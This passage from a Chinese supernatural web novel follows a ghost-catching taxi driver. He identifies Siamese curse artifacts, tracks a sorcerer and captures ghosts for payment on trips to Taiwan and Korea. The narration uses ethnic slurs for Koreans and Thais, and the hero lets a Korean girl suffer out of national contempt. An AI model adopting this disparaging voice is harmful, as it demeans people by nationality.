“阿星,把刚才从里面搜出来的那些邪门玩意儿都拿过来,给阿德看看。”
“好嘞!”
周星星应了一声,和郑立一起,从帐篷角落搬过来几个透明的证物箱,小心翼翼地放在一张临时拼凑的桌子上。
箱子一打开,一股混合着草药、**物和某种难以形容的腥臊气味便弥漫开来。
里面的东西可谓五花八门,琳琅满目,但无一不透着邪异:
几个黑乎乎
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的小陶罐,用蜜蜡封着口,但隐约能看到里面有东西在微微蠕动,似乎是某种活虫。
一些颜色诡异、形状扭曲的干枯植物根茎和昆虫尸体,被仔细地分类摆放。
几把造型古怪、刃口呈现暗红色的骨质小刀。
一些用不明油脂浸泡过的、画满了诡异符号的布片和人偶。
甚至还有几个小玻璃瓶,里面装着暗红色、疑似血液或尸油的粘稠液体。
周星星指着这些玩意儿,咧了咧嘴说道:
“喏,就这些了。看着就让人浑身不舒服,邪气得很!”
古德走上前,目光扫过这些物品。
得益于刚刚提升到LV2的【旁门降头术详解】和【蛊术详解】,这些在常人看来诡异莫测的东西,在他眼中立刻变得清晰明了,其用途、炼制方法和潜在危险,如同说明书般呈现在他脑海里。
他随手拿起一个密封的小陶罐,在耳边轻轻晃了晃,听到里面传来细微的“沙沙”声,然后对谢潮等人解释道:
“这个罐子里,养的是尸蹩蛊。用未满月夭折的婴儿尸油喂养特殊尸蹩,炼成后能钻入人体,啃食内脏,中者痛苦不堪,七七四十九天后才会断气,期间受制于下蛊者。”
他又指了指那些暗红色的骨刀:
“这是血咒刀,用人骨打磨,至少要用含怨而死的处女之血浸泡三年以上,用来下血咒或者作为施展某些恶毒降头的媒介,煞气很重,普通人碰了容易大病一场。”
“还有这些……”
古德一一指点过去,“腐心草,磨成粉混入饮食,能让人内脏缓慢腐烂;缠魂丝,用吊死鬼的头发混合特定阴材炼制,能束缚生魂;至于这些小瓶里的……大概率是提炼过的尸油或者下了降头的精血,是施展很多邪术的基础材料。”
他放下东西,总结道:
“总的来说,这些都是正宗的暹罗邪降之物,阴毒得很。而且,看来这帮家伙也懂得与时俱进,很多降头手法做了改良,对施术者自身法力要求降低了。
但相应地,更需要用活人的精血、寿命或者怨气来催动。所以修炼这种邪术的人,往往自身寿命折损得厉害,为了续命,就会变本加厉地去害人,形成一个恶性循环。”
第228章 纸鹤寻人术
听着古德如数家珍般道出这些恐怖物件的来历和用途,谢潮、周星星等人的脸色都变得十分难看。
他们虽然经常处理灵异事件,但如此系统、如此阴毒的手法,还是让他们感到一阵寒意。
周星星忍不住骂了一句:“丢!这帮暹罗佬,真是心理变态!搞出这么多恶心又危险的东西!”
谢潮则是心有余悸地看了一眼旁边那些正在帮忙搬运证物,但本身还没修炼出法力的后勤队员,沉声道:
“幸好阿德你提醒得早。刚才兄弟们搬运的时候只是觉得不舒服,要是谁不小心打开了罐子或者被这些刀子划伤……后果不堪设想!”
他立刻转身,严肃地叮嘱所有队员,处理这些证物时必须佩戴特制的手套和口罩,严禁直接接触。
古德微微颔首,继续他的分析:
“结合这些道具和得仔他们的情况,我大概推测出整件事的脉络了。那个跑掉的老降头师,应该是寿命将尽,急于寻找合适的药引来续命。而得仔和你表姐,很可能因为命格比较特殊,阳气充沛但又带着一丝容易引邪的阴隙,正好成了他的目标。
所以他派长贵接近你们,用《见鬼十法》引你们中降,一方面削弱你们的阳气,另一方面标记你们,方便他后续下手汲取你们的精气神寿命。那些死掉的小孩,恐怕也是他为了续命和用来下咒而杀害的。”
周星星听完,脸上露出厌恶至极的表情,啐了一口:
“呸!为了自己多活几年,就害死那么多小孩子,还要抽干别人的寿命?这种老怪物,简直该下十八层地狱!阿德,这次绝对不能让他跑了!”
古德不再多言,他开始仔细感知这些证物上残留的气息。
很快,他从一把看起来最为古朴,刀柄上缠绕着黑色头发煞气最重的血咒刀上,捕捉到了一丝最为浓郁和独特的阴冷气息。
这气息和在场的三人都不一样,应该是那个逃跑的老降头师长期持有所留下的。
“找到了。”古德说道。
他从随身挎包里取出一张空白的黄色符纸,铺在桌上。
只见他右手食指与中指并拢,指尖隐隐有金光流转,口中低声诵念:
“天地无极,**追踪。气息为引,符化灵通。千里寻踪,敕!”
随着咒语念出,他剑指在符纸上迅速划动,一道复杂而灵动的符文瞬间成型,散发出淡淡的微光。
接着,他剑指对着那把血咒刀虚引一下,一丝几乎看不见的黑色气息被抽离出来,投入到符纸之中。
符纸上的符文光芒一闪,随即整张符纸无风自动,如同拥有生命般,自动折叠、收拢,眨眼间便化作了一只栩栩如生翅膀微张的黄色纸鹤,静静地躺在古德掌心。
古德将纸鹤递给谢潮,交代道:
“拿着这个。需要追踪的时候,往纸鹤里注入一丝法力激活它,它就会朝着气息源头所在的方向飞行。距离越近,飞得越快。跟着它走,就能找到那个老家伙。”
谢潮接过纸鹤,入手感觉轻飘飘的,却隐隐能感受到其中蕴含的奇异能量流动。
他有些意外地挑了挑眉,看向古德:“你不跟我们一起行动?有你在,把握更大些。”
古德随意地摆了摆手:
“一只丧家之犬而已,你们异灵灵异这么多人,装备精良,要是连他都搞不定,那也太说不过去了。我就不去浪费时间了。”
说完,他话锋一转,把站在身后、还在为朋友背叛而神情恍惚的得仔拉了过来,对谢潮介绍道:
“对了,阿潮,给你带个新人。他叫得仔,就是这次事件的苦主之一。我看他资质还不错,虽然现在虚了点,但底子可以。你不是抱怨人手不够吗?我这就给你带来了。”
接着,他又对得仔说道:
“得仔,这位是谢潮谢sir,异灵灵异部门的负责人,你以后的顶头上司。具体的工作安排、待遇福利什么的,你们自己慢慢谈。”
得仔这才从混乱的思绪中惊醒过来,连忙对着谢潮躬身问好,语气带着紧张和恭敬:
“潮……潮哥好!我叫得仔,以后请您多多指教!”
他虽然现在看起来虚弱得像被十几个大婶掏空了身子,但眼神深处还保留着一丝韧性。
谢潮上下打量了得仔几眼,虽然对方现在状态很差,但他相信古德的眼光不会错。
他拍了拍得仔的肩膀,露出一个算是和善的笑容
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:“不用客气,以后就是自己人了。先把身体养好,具体的事情慢慢说。”
安排完得仔的事,古德便不再多留,对谢潮等人点了点头,便带着阿草转身走出了帐篷。
快到社区出口警戒线时,古德看到莫作栋正在那里指挥几名后勤队员清理现场,登记物品。
他忽然想起一件事,便走了过去。
“阿栋。”古德招呼道。
“嗯?阿德,什么事?”
莫作栋转过头,看到是古德,脸上露出笑容。
“我记得之前在岛上秦尸案结束后,你不是说龙婆有事想找我帮忙吗?怎么过了这么久,一直没消息?”
古德有些好奇地问道。
龙婆是莫作栋的亲妈,也是香江有名的灵媒,道行不浅。
她主动找人帮忙,事情应该不简单。
莫作栋闻言,有些不好意思地挠了挠头,解释道:
“哦,你说那件事啊。其实是我师妹她前段时间好像惹上了一个很里怪的鬼物,我妈本来是想请你这位高手去看看的。不过也是巧了,就在她准备联系你的时候,我姑妈正好从下面……上来办事,顺道来看我们。
她老人家一眼就看出了我师妹的问题,随手就给解决了!所以也就没好意思再麻烦你跑一趟了。”
古德听了,恍然大悟地点了点头。
原来是电影《问米》里的剧情线。
估计是阿茵通灵时招惹了麻烦,不过岚婆如今修为大进,装备也**换炮,解决这种小问题自然是手到擒来,确实没必要再找他了。
“原来如此,解决了就好。”古德笑了笑,不再多问。
他跟莫作栋道别后,便和阿草一起走出了警戒线。
夕阳的余晖将两人的影子拉得很长。
古德伸了个懒腰,感受着体内平稳运转的法力。
今天发生的事情不少,但总体还算顺利。
接下来……该继续开工赚公里数了。
他拉开出租车门,对阿草示意了一下。
“上车,趁着晚高峰,再多跑几单。”
(接下来会是一个大高潮,然后港综加港诡的世界会快速完结掉,进入新世界,各位靓仔可以猜一猜什么世界,下注了。)
第229章 出差小故事一
时光荏苒,距离那场捣毁暹罗降头师窝点的行动,转眼已过去了半个多月。
这十几天里,古德再次系统送出去体验了两把跨国出租的滋味。
而且还是带着阿草,被系统随即传送出去的。
例如那去的第一趟出国之旅。
当时在车子仿佛穿越了一层无形的壁障,再次脚踏实地时,已然置身于一个闷热、潮湿,带着浓郁南国风情的夜晚街道。
然后古德在系统提示中知道到了湾湾省。
路边是闪烁着霓虹的槟榔摊和热闹的夜市,机车轰鸣声不绝于耳。
古德刚把车停稳,还没来得及观察周围环境,一个穿着白衬衫,头发凌乱神色仓皇如同惊弓之鸟的年轻男子,就猛地拉开车门,几乎是滚爬着钻进了后座,惊慌失措地大喊:
“司机大哥!快!快开车!随便去哪里都好!快走!”
古德透过后视镜瞥了他一眼,心里不由得嘀咕了一句:‘啧,又一个“得仔”?不对,应该是又一个陈伯林?是哪一部电影?’
这年轻人的气质,跟香江那个得仔确有七分神似,都是那种眼神清澈带着写单纯的青年模样。
姑且就叫他“得仔二号”吧。
古德没多问,熟练地挂挡起步,车子汇入车流,然后意念打开导航开着。
他一边开车,一边习惯性地用灵觉感知了一下车后座这位新乘客。
果然,一股淡淡的带着哀怨和执念的阴气,正缠绕在他身上,不过因为被出租车的规则保护着,暂时无法深入侵袭。
车子开出去没多远,在一个红绿灯路口停下。
这时,驾驶座车窗突然被人从外面敲得“砰砰”响。
古德摇下车窗一看,是一个穿着火辣、浓妆艳抹、身材凹凸有致的年轻女郎。
这女郎上身是紧身的亮片吊带,短得几乎遮不住什么,下身一条包臀皮裙,脚踩细高跟,脸上妆化得看不出本来面目,但身材确实是**,惹火得很。
她弯下腰,故意露出深深的沟壑,对着古德搔首弄姿,抛了个媚眼,用嗲得让人起鸡皮疙瘩的声音喊道:
“帅哥~搭个便车嘛~夜深人静的,一个人好寂寞哦~你去哪里,我就去哪里好不好?”
副驾驶座上,原本正无聊地看着窗外霓虹灯的阿草,听到这矫揉造作的声音,眉头瞬间就拧成了一个结。
她转过头,冷眼看着那个几乎要把胸脯挤进车窗里的女人,脸上露出毫不掩饰的嫌恶,嘴里轻轻“嗤”了一声。
心里更一阵无名火起,暗骂道:
‘哪里跑出来的野鸡,也不看看自己什么货色,也敢来勾引我家老板?老娘我辛辛苦苦、任劳任怨,鞍前马后这么久,都还没找到机会近水楼台先得月呢,轮得到你这种路边货色?真是不知所谓!’
那女郎见古德只是淡淡地看着她,没什么反应,还以为有戏,竟然胆大包天地来到副驾驶伸出手,想要去拉副驾驶的车门把手。
阿草眼神一冷,不等古德发作,她暗中屈指一弹,一缕极其细微、带着迷幻和排斥力量的魔气,悄无声息地击中了那女郎的手腕。
“哎哟!”
那女郎只觉得手腕一麻,仿佛被电流刺了一下,一阵酸麻瞬间传遍整条手臂,又痛又痒,使不上半点力气。
她吓得惊呼一声,像是被烫到一样猛地缩回手,惊恐地看着自己的手腕,又看看车里面无表情的古德。
就在这时,阿草心念一动,显出身形,还故意在那女郎面前微微显露出一点非人的形态。
那女郎原本只是手腕吃痛,此刻突然看到副驾驶上出现的一个气息诡异的美艳女子,再加上之前手腕莫名其妙的剧痛。
她顿时面色“唰”一下变得惨白,嘴唇哆嗦着,指着阿草“你……你……”了半天,也没说出一句完整话。
她只觉得一股寒气从脚底板直冲天灵盖,再也顾不得勾引帅哥,吓得魂飞魄散,腿脚一软,匆匆忙忙,连滚带爬,尖叫着逃进了旁边昏暗的小巷子里,那狼狈的样子,跟刚才的风骚判若两人。
古德有些好笑地瞥了阿草一眼,摇了摇头,却没说什么。
阿草则迅速收敛了气息,装作若无其事地转过头看向另一边的车窗,仿佛刚才什么事都没发生,只是嘴角抑制不住地微微上扬,带着一丝小得意。
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不过,后座的得仔二号依旧被阿草用高明的障眼法影响着,完全看不到也感知不到刚才发生的灵异事件。
他只看到那个穿着暴露的女人过来搭讪,然后不知怎么的手舞足蹈地惊叫一声,就慌慌张张地跑掉了,心里还觉得这女人有点莫名其妙,行为艺术吗?
车子重新启动,驶过几个街区。
得仔二号一直紧张地看着窗外,似乎在寻找什么。
突然,他眼睛一亮,激动地拍着前排座椅:“司机大哥!停一下!麻烦停一下车!我看到个熟人!”
古德依言靠边停车。
得仔二号赶紧摇下车窗,对着路边一个正左顾右盼、神色慌张的年轻女人喊道:“苏原!苏原!这边!”
路边那个穿着西装马甲、梳着利**尾辫的女人闻声转头,看到车里的胡守仁,脸上瞬间露出难以置信的惊喜,几乎是扑过来的:
“守仁!胡守仁!你没事?!太好了!我还以为……还以为你出事了!”
她声音带着哭腔,显然吓得不轻。
得仔二号,现在应该叫胡守仁也又惊又喜,连忙打开车门:
“苏原,真的是你!快上车!我还以为你被那东西……”
他咽下了后半句话,但脸上的后怕说明了一切。
叫做苏原的女人迅速钻进了后座,紧紧挨着胡守仁,仿佛这样才能获得一点安全感。
她喘着气,惊魂未定地打量着车内。
古德透过后视镜,瞥了一眼这个新上车的女人。
样貌清秀,带着几分知性,但此刻脸色苍白,眼圈发红,确实有几分像他前世记忆中那个叫“大S”的女明星。
再看看旁边一脸衰样的胡守仁,长得有点像陈伯林,古德心里顿时有数了。
能同时凑齐这两张脸的灵异片,大概就是那部湾湾电影《诡丝》了。
电影里那个靠“丝线”感应定位**的母子鬼,还有那个作死研究鬼魂的机构研究出来的什么海绵,古德印象还挺深。
只是电影里这俩角色不是很快就领便当了吗?
看来这个世界线有点变化,他们居然暂时逃过一劫,有意思。
第230章 出差小故事二
不过,古德敏锐地察觉到,这两人身上都缠绕着一丝极其微弱、若有若无的灰黑色怨气印记,像被标记了一样。
看来,缠上他们的那个鬼物,并不急着立刻杀掉,而是在享受这种追逐猎物的恐惧。
苏原和胡守仁在后排惊魂稍定,低声交流着各自的恐怖经历,声音颤抖,充满了恐惧。
过了一会儿,他们商量了一下,由苏原对古德说:
“司机先生,麻烦您,送我们去这个地方。”
她报出了一个地址,位于郊区的某个地方。
古德用意念在车载导航上输入地址,屏幕显示目的地距离市区颇远,已经是很偏僻的郊外了。
他忍不住嘴角微微抽搐了一下,心里吐槽:
‘好家伙,这两个家伙,脑子被吓傻了吗?明明都被鬼缠身了,不往人多阳气旺的地方跑,反而要往更偏僻、更阴森的郊区钻?这不是自投罗网,给那鬼物创造更好的下手环境吗?’
果然,随着出租车驶离繁华的市区,窗外的景象逐渐变得荒凉。
古德通过后视镜,能看到车后方远处,隐约有一道细长的、如同丝线般的灰黑色怨气,遥遥锁定着自己的出租车,并且有逐渐凝聚的迹象,看来在他们身上留印记的那个鬼物追了过来。
没过多久,连胡守仁和苏原也感觉到了不对劲,他们莫名的感到一阵心慌。
苏原下意识地抱紧了双臂,胡守仁则紧张地频频回头往后方张望。
突然,“咚”的一声轻响,像是有什么东西轻轻撞在了车尾。
接着,声音移到车顶,传来“窸窸窣窣”的爬行声,然后是副驾驶后排那边的车窗被“叩、叩、叩”地敲响。
古德用眼角的余光瞥了一眼右侧后视镜,只见一个模糊的、面色惨白狰狞的小孩子面孔,正贴在车窗外,咧着嘴,用空洞的眼睛盯着车里的人。
它的一只青灰色的小手,正一下下地敲着玻璃。
而在车顶,似乎还有一个更大的、散发着浓郁怨气的影子匍匐着。
古德有些无语,这湾湾的鬼怎么有些不太正常。
“啊!”苏原和胡守仁也看到了窗外的鬼脸,吓得抱在一起,尖叫出声,身体抖得像筛糠一样。
胡守仁虽然怕得要死,但在强烈的好奇心驱使下,他竟然颤抖着手,鬼使神差地按下了车窗控制键,想把车窗摇下来一点点看个究竟!
“别开窗!”苏原吓得大喊,但已经晚了。
车窗刚降下一条缝隙,那张恐怖的鬼脸就猛地凑近缝隙,发出一声尖锐的嘶嚎,一只惨白浮肿的手就试图从缝隙里伸进来!
同时,车顶那个更大的影子也垂下头,露出一张扭曲怨毒的女人脸,正是那母子鬼中的母亲!
然而,就在那鬼手即将触碰到车内空气的瞬间,出租车内部似乎有无形的微光一闪。
那鬼手像是碰到了烧红的烙铁,或者一堵无形的墙壁,猛地缩了回去,鬼脸上露出痛苦和愤怒的表情。
两只鬼物围着出租车盘旋,发出凄厉的嚎叫,却再也无法靠近分毫,只能在车外张牙舞爪,无能狂怒。
古德透过后视镜,淡定地瞥了一眼车窗外那对张牙舞爪、却始终无法突破出租车无形屏障的母子鬼。
在他眼里,这对怨气冲天的家伙,充其量也就是厉鬼的级别,或许因为母子连心、怨念纯粹,比普通厉鬼难缠一点,但本质上依旧上不了大台面。
电影里渲染得神乎其神的诡丝,在他看来,更像是一种鬼物用来追踪、定位猎物的怨气纽带,附带些微的精神干扰。
真正的杀伤力,多半是靠制造恐怖幻象,活活把目标吓破胆,或者让目标在极度恐惧中产生类似鬼掐喉的生理窒息感。
说白了,就是吓死的。
对付这种主要靠幻觉和怨念害人、本身硬实力一般的鬼物,古德实在提不起太多兴趣。
后面那两位乘客要是够聪明,能意识到他这司机不简单,主动开口求救,并且能拿出让他满意的报酬。
他倒也不介意顺手把这俩鬼收了,说不定还能转手卖给岚婆换点阴德。
要是他们不开窍,那他也懒得主动揽事,送到目的地,收完车费,公里数到手,各走各路。
此时,后座上的胡守仁和苏原,在经过最初的魂飞魄散后,也渐渐发现了一个让他们惊疑不定的事实。
车外那两只恐怖狰狞的鬼物,似乎无论怎么咆哮、撞击,都无法真正进入出租车内部!
那层看似普通的车壳和
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玻璃,仿佛成了一道坚不可摧的结界。
苏原到底是心思细腻些,她强压着心跳,偷偷观察开车的古德。
只见这位帅气的司机,从始至终都一副气定神闲的模样,双手稳稳地把着方向盘,甚至连呼吸频率都没变一下,仿佛车外不是索命的厉鬼,而是两只嗡嗡叫的蚊子。
再联想到这辆车的神奇之处,她顿时恍然大悟,心脏砰砰狂跳,不是吓的,是激动的!
这哪是普通的出租车司机,这分明是隐于市井的高人啊!
她像是抓住了救命稻草,再也顾不得矜持,声音带着哭腔和急切,向前探身哀求道:
“司机大哥!大师!您……您是不是会捉鬼?求求您,发发慈悲,救救我们吧!只要您能救我们,让我……让我做什么都愿意!”
说到最后,她甚至下意识地对着古德的后脑勺抛了个媚眼,脸上挤出一种自以为妩媚的表情。
在她看来,这位大师年轻英俊,就算真是出租车司机,自己也不亏。
胡守仁被苏原这话惊得回过神来,也连忙跟着哀求:
“对对对!大师!求您出手!我们……我们愿意付钱!倾家荡产也愿意!”
他还是比较实在,想到了用钱解决。
古德被苏原那故作娇媚的腔调和暗示性十足的话语激得起了一层鸡皮疙瘩。
他心里暗骂一句,他是这么饥不择食的人吗,果然是骚S……
他撇撇嘴,没搭话。
倒是副驾驶的阿草,看到又一个女人对着古德露出那种“垂涎”的表情,顿时不爽了。
她轻哼一声,心念一动,故意在后座两人面前,缓缓显露出清晰的身形,就像一个原本透明的影像逐渐凝实。
“你们光知道怕车外面的鬼,”阿草转过头,对着后座两人露出一个带着几分恶作剧意味的冷笑,声音幽幽地说,“就不怕……车里面的鬼吗?”
“鬼啊——!”
胡守仁和苏原正全神贯注地盯着车外的鬼,哪料到车里会突然多出一个人来!
而且是以这种诡异的方式出现!
两人吓得魂飞魄散,尖叫一声,死死抱在一起,缩成一团,比刚才看到窗外鬼脸时反应还大,看那架势差点就要直接晕过去。
第231章 出差小故事三
古德无奈地笑了笑,伸出一根手指,在阿草的额头上不轻不重地弹了一下:
“怎么,你还学会护食了?”
阿草捂着额头,嘟了嘟嘴,哼了一声,没说话,但脸上那点小得意和不满混杂的表情,说明了一切。
古德不再理会她,转而将指尖蕴起一丝微不可察的法力,对着后座几乎要吓晕的两人低声诵念:“太上台星,应变无停。智慧明净,心神安宁。敕!”
一股清凉平和的气息随着咒文悄然弥漫开来,如同清泉流过心田。
胡守仁和苏原只觉得脑海中一阵清明,那几乎要炸开的恐惧感如同潮水般退去,虽然依旧害怕,但至少能正常思考,身体也不再抖得那么厉害了。
他们惊疑不定地看着古德,又看看副驾驶上那个美得不像**,此刻正百无聊赖玩着自己头发的“女鬼”,脑子有点转不过弯来。
“放心,”古德淡淡开口,打破了车内诡异的寂静。
你们在车里,很安全,外面那东西进不来。至于捉鬼.....”
他顿了顿,透过后视镜看着两人,“我的确可以帮你们解决这个麻烦。不过,报酬是十万美元。或者等值的硬通货。”
“十万美元?!”
苏原和胡守仁同时失声惊呼,眼睛瞪得溜圆。
这数字对他们来说,无疑是一笔巨款。
阿草不屑地嗤笑一声,斜睨着他们:
“怎么?捉鬼不像给钱还是觉得贵?嫌贵可以啊,我们又没逼你们。等老板把你们送到地方,你们下车自便咯。就是不知道,外面那两位朋友会不会好好跟你们道别?”
她的话像冰刀一样,刺得两人心底发寒。
古德没说话,算是默认了阿草的说法。
对他而言,更重要的是完成这趟行程,积累公里点数。
这两人的生死,固然有些因果,但若他们自己不识趣,拿不出等价物,他也没兴趣当圣母。
缘分到此为止,公里数到手就行。
苏原和胡守仁害怕地看了一眼语气刻薄的阿草,又看向车窗外依旧在疯狂拍打车窗、面容扭曲的鬼影。
苏原带着哭腔,试图讨价还价:
“司机大哥……大师……我……我真的没有那么多钱啊……能不能……便宜点?求您了……”
古德语气没有任何波澜,依旧平淡却带着不容置疑:
“十万美金,买你们两条命。这个价格,已经很公道了。我这里不是菜市场,不讲价。”
就在这时,胡守仁脸上露出极度纠结挣扎的神色,他看看窗外,又看看身边瑟瑟发抖的苏原,最后一咬牙,仿佛下定了决心。
他猛地将自己背着的那个看起来鼓鼓囊囊有些旧的帆布背包拉到身前,双手有些颤抖地打开,竟然从里面掏出了三个用厚布包裹、巴掌大小、沉甸甸的东西。
他一层层揭开厚布,当最后一层布掀开时,车内昏暗的光线下,赫然露出了三块黄澄澄、闪着诱人光泽的金饼!
“大师……”胡守仁的声音因为紧张而有些沙哑,“您看……用这个……抵债行不行?这是足金的!祖上传下来的!”
一旁的苏原看到这三块突然出现的金饼,震惊得忘了害怕,脱口而出:
“守仁!你……你随身带着这三个金饼?!你不怕被人抢吗?还有,这……这不重吗?!”
她实在无法理解,有人会天天背着这么重的金饼到处跑。
胡守仁无语地白了苏原一眼,都什么时候了,还在想这种问题。
他没好气地低声对苏原说:
“苏原,这钱……这金子也不能我一个人出,到时候……到时候你得还我一半!”
说完,他深吸一口气,用双手小心翼翼地将三块金饼捧起,递向前排。
阿草伸手接过,入手一沉。她拿起一块,仔细看了看成色,又用手指弹了弹,放在耳边听声,还掂了掂分量,动作熟练,看起来经常收金子一样。
然后,她对着古德微微点头:“老板,成色不错,是足金,分量也实在。”
古德点了点头,示意阿草收好。
“行,”他干脆利落地说,“既然付了报酬,这笔生意就算成了。我帮你们解决麻烦。”
说完,他看了一眼前方路况,找了个相对宽敞的路边,缓缓踩下刹车,将出租车稳稳停下。
车窗外,那对母子厉鬼见车子停下,更是疯狂地扑了上来,扭曲的面孔紧紧贴在玻璃上,发出刺耳的尖啸。
古德推开车门,从容下车。对付这种级别的厉鬼,他现在已经不需要任何花哨的仪式或复杂的手诀。
他刚一站定,那母子厉鬼便嗅到生人气息,放弃出租车,带着滔天的怨气,一左一右,如同两道黑色旋风般朝着古德猛扑过来!
那狰狞的鬼脸、尖利的指甲,眼看就要触碰到古德。
古德身上甚至没有任何
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明显的动作,只是心念微动,一层淡淡的金色光晕自体表一闪而逝。
那两只扑上来的厉鬼,就像是撞在了一堵无形的铜墙铁壁上!
“嘭!嘭!”
两声闷响,伴随着凄厉的惨叫,母子鬼以比扑来时更快的速度倒飞出去,魂体都一阵晃动,变得模糊了几分,显然受了不小的冲击。
古德这护体金光,对付这种怨灵邪祟,效果拔群。
古德懒得跟它们多纠缠,直接伸手从挎包里摸出两张加强版收鬼符。
他甚至没有念咒,只是将一丝精纯的法力灌注其中。
“嗡——”
两张符箓瞬间绽放出柔和却坚定的清辉,如同两张光网,迅疾无比地射向刚刚稳住身形、还想再次扑来的母子鬼。
光网及体,立刻收缩,将那两只厉鬼牢牢捆缚住,任凭它们如何挣扎嘶嚎,都无法挣脱分毫,很快就被捆成了两个不断蠕动的、发出呜呜声的光茧。
强版收鬼符是针对厉鬼层次画出来的。
古德又取出一个巴掌大小、布料上绣着封禁符文的收魂袋,袋口对准那两个光茧,轻喝一声:“收!”
符光一闪,两个挣扎的“光茧”便被吸入了袋中,袋口自动收紧,恢复平静。
刚才还鬼哭狼嚎、阴风阵阵的路边,瞬间变得一片寂静,只有夜风吹过野草的轻微沙沙声。
古德掂了掂手里轻飘飘的收魂袋,随手塞回口袋。
这对在电影里能把普通人玩得团团转的鬼物,在真正的行家面前,简直不堪一击。
他拉开车门,重新坐回驾驶座,对着后座上已经看得目瞪口呆,下巴都快掉到地上的胡守仁和苏原,用一如既往的平淡语气说道:
“没事了,鬼已经收了。你们可以放心了。”
他系好安全带,发动车子,“接下来送你们去郊区目的地,车费,等下另算。”
车子再次平稳地行驶在寂静的郊外道路上。
胡守仁和苏原面面相觑,过了好一会儿,才从巨大的震惊和恍惚中慢慢回过神来。
劫后余生的庆幸,以及对这位神秘出租车司机深不可测手段的敬畏,充满了他们的内心。
到达目的地后,苏原和胡守仁千恩万谢地下了车,付了车费。
古德看着他们走进那栋看起来有些偏僻的建筑,摇了摇头,调转车头,再次汇入通往市区的道路。
难得出一趟差,要把公里数赚够。
第232章 出差小故事完
说完第一趟的湾湾之旅,然后再说第二趟出差。
这第二趟,则是在几天后的一个晚上。
古德刚在油麻地一条热闹的夜市街边放下两位乘客,正琢磨着是再接一单还是直接收工,眼前熟悉的扭曲感便再次袭来。
车内空间微微波动,那个只有他能看见的幽蓝色漩涡悄无声息地出现在车辆前方。
“又来?”古德嘀咕一句,倒也习惯了。
他瞥了一眼旁边的阿草,“坐稳了,出差。”
阿草倒是挺兴奋,每次跟着古德穿越这种空间通道,她感觉自己都有很大的收获,在这个空间通道中,她的能力也多少得到提升。
她乖巧地应了一声,脸上满是期待。
漩涡将出租车吞没,短暂的失重和光影错乱之后,车子稳稳地停在了一条陌生的街道上。
古德抬眼打量四周,环境看起来颇为高档,街道整洁,两旁是设计现代的公寓楼,灯火通明,透着一种刻意的精致感。
空气里少了香江那股熟悉的咸湿海风与市井烟火气,取而代之的是一种略显清冷、规整的氛围。
路边的招牌上写着弯弯绕绕的韩文,得,这次是到棒子国了。
“啧,泡菜味的地方。”古德撇撇嘴,他对这个国家实在提不起什么好感。
他查看了一下车载虚拟显示屏上的虚拟时钟,确认了本地时间。
没等多久,公寓楼的大门打开,一个穿着时尚呢子大衣、踩着高跟短靴的年轻女孩快步走了出来。
她低着头,脚步有些虚浮,脸色在路灯下显得异常苍白,即使画着精致的妆容,也难掩那份憔悴和疲惫。
她拉开车门,一股淡淡的、混合着高级香水和某种难以言喻的阴冷气息飘了进来。
“去这个地方,谢谢。”
女孩报了个地址,声音有些沙哑无力,然后便靠在椅背上,闭上了眼睛,眉宇间凝结着化不开的痛苦之色。
古德依言设置好导航,习惯性地通过后视镜扫了乘客一眼。
这一扫,他的目光就顿住了。
果然,系统不会无缘无故把他丢到这种地方。
又是这种怨灵附物的戏码。
女孩这估计又是某部电影的主角。
不过不好意思,他不看韩剧,根本想不到是哪部。
至于这个女孩的又什么问题。
那问题可大了,那女孩有一头看起来浓密亮泽,打理得一丝不苟的头发。
但在古德的眼里,那根本不是什么秀发,而是一团蠕动的、散发着浓烈怨恨气息的黑气!
这女孩明显是戴着一顶做工极其逼真的假发,而这假发,是用一个含怨而死的女子的真发编织而成,一个强大的怨灵正牢牢附着在上面!
那怨灵像贪婪的水蛭,正通过发根与头皮接触的地方,一丝丝地抽取着女孩的生命精气。
黑气如同细小的毒蛇,不断试图钻进女孩的天灵盖,想要彻底侵占这具年轻的躯体。
整个场面透着一股说不出的诡异,甚至还有一种……类似于廉价发胶过期后的油腻腻的黏腻感,让古德有点反胃。
不过,有趣的事情发生了。
女孩一坐上这辆出租车,那原本蠢蠢欲动、不断侵蚀她的怨灵黑气,像是突然撞上了一堵无形的墙壁。
怨气被牢牢地限制在假发本身的范围之内,再也无法触碰到女孩的皮肤。
车内那玄之又玄的规则之力开始起作用了。
女孩似乎也隐约感觉到了变化。她发出一声几不可闻的舒服叹息,一直紧绷的身体微微放松了一些,原本感觉像灌了铅一样沉重的脑袋,似乎也轻松了不少。
但她显然没把这变化归功于这辆看似普通的出租车,只是以为自己暂时缓过来了点。
棒子国的人,尤其是这些注重外表死要面子活受罪的,忍耐力是出了名的强。
她大概觉得,撑到地方,吃几片止痛药就好了。
古德冷眼旁观,心里没有半分波动。
棒子国的鬼,棒子国的人,关他屁事。
他古德又不是美利坚队长,没兴趣满世界普度众生,最多救救龙国人。
更何况是这个让他本能觉得膈应的地方。
救人?除非报酬特别丰厚到让他心动。
显然,眼前这个被怨灵缠上的女孩,并不会给出那么多报酬。
“死不死,看你自己造化吧。”古德心里毫无负担地想道,“公里点数才是实实在在的。”
他确认了一下导航路线,懒得再多看一眼后座那个正在被缓慢吞噬生命的女孩,直接挂挡,轻踩油门,出租车平稳地滑入车流。
对他而言,这只是一趟普通的行程,一个即将可能发生的悲剧,远不如仪表盘上跳动的公里数来得重要。
车厢内很安静,只有引擎低沉的轰鸣。
女孩依旧闭目养神,或许在忍受痛苦,或许在胡思乱想。
阿草则好奇地打量着窗外的异国夜景,对她而言,只要跟着古德,去哪里都差不多。
接下来的时间并没有什么意外出现,时间一到,车外的景象再次开始扭曲模糊。
短暂的空间转换后,熟悉的香江街景重新出现在窗外。
潮湿的空气、嘈杂的声音、闪烁的霓虹,
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一切都回来了。
古德长舒一口气,还是自家地盘待着舒服。
这两次跨国出差,虽然过程没什么惊险刺激,但收获却是实实在在的。
最关键的是,每次出差都带着阿草这个BUG一样的存在!
系统规则,搭乘特殊乘客,公里数双倍计算。
出一次国,按三倍公里数。这两趟下来,加起来就是六倍的公里点数奖励!
短短半个月,净赚的公里点数竟然高达16500点!
加上之前账户里剩余的1100多点,古德此刻的系统面板上,赫然显示着一个让他自己都感到有些不可思议的数字。
【当前公里点数:17600点!】
“17600点……”古德看着这个数字,忍不住深吸了一口气。
他开出租车这么久,还从来没有这么富裕过!
这简直是暴富!
不仅如此,这半个月他虽然东奔西跑,但谢潮那边倒是很靠谱,定期会搜罗一些“好东西”送过来。
